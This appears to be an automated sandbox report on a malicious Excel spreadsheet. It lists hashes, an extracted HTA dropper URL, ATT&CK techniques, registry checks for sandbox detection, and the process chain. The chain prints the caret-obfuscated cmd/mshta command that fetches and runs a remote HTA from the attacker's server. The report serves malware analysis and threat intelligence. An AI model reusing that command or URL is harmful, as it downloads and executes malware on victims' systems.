0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14

General

Target

0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls
Size

101KB
MD5

5c90822e2ddbf2ba6c0c637308ed6646
SHA1

feb66ac915b16028aee34f3eae7145afcfecf48a
SHA256

0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14
SHA512

2cd0ad3a8e27242eb33c3d2cea72dbfc6a43ea432d557d08c67f80a5a79d6ac633b48a9b65615ca39950d770db6823df3e15e8d288013af1ebc2ca650018f487
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1956	3144	cmd.exe	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
21	1636	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3144	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE
3144	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 1956	3144	EXCEL.EXE	87
PID 3144 wrote to memory of 1956	3144	EXCEL.EXE	87
PID 1956 wrote to memory of 1636	1956	cmd.exe	89
PID 1956 wrote to memory of 1636	1956	cmd.exe	89

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0afe6310f7ba1ae69ef946e8c4e15f291f8b6ea803f156a2066645d4dc23bb14.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1956
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    PID:1636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
9b6b267c4aed6b43bfb0ebfedd2f6e02

SHA1
653e56cd9a260ea8fd0b1cf95b019e13de814ba8

SHA256
bfce9f581ad8e4d39d06303959f482860d07c6091f5d77909df4b3b2e0c74bb8

SHA512
c5d060f09d268148d2354472dc2310c546fe8b4505fe0270998c0fd6c98baa964e7f466cd99ae5cb0ac658fc54737a202b56e439758849137d684f5845bd4559

Download Submit
memory/3144-10-0x00007FFEE8A90000-0x00007FFEE8AA0000-memory.dmp

Filesize
64KB

Download
memory/3144-5-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-12-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-14-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-11-0x00007FFEE8A90000-0x00007FFEE8AA0000-memory.dmp

Filesize
64KB

Download
memory/3144-7-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/3144-6-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-9-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-8-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-1-0x00007FFF2B1CD000-0x00007FFF2B1CE000-memory.dmp

Filesize
4KB

Download
memory/3144-3-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/3144-4-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/3144-2-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download
memory/3144-17-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-16-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-15-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-13-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-28-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-29-0x00007FFF2B1CD000-0x00007FFF2B1CE000-memory.dmp

Filesize
4KB

Download
memory/3144-30-0x00007FFF2B130000-0x00007FFF2B325000-memory.dmp

Filesize
2.0MB

Download
memory/3144-0-0x00007FFEEB1B0000-0x00007FFEEB1C0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads